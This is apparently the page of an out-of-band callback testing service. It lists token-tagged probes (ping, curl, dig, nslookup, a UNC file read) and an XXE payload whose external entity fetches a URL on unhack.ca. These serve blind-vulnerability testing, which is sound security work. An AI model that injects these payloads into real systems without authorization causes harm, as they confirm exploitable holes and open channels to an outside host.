$ ping -c1 -p 004bef816250c2ffe6a1300e91e02100 unhack.ca
$ curl http://unhack.ca/p/4bef816250c2ffe6a1300e91e021
$ dig 4bef816250c2ffe6a1300e91e021 @unhack.ca
$ dig 4bef816250c2ffe6a1300e91e021.ns.unhack.ca
C:\> nslookup 4bef816250c2ffe6a1300e91e021 unhack.ca
C:\> type \\unhack.ca\4bef816250c2ffe6a1300e91e021\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/4bef816250c2ffe6a1300e91e021">]>
<foo>&xxe;</foo>
Waiting for ping...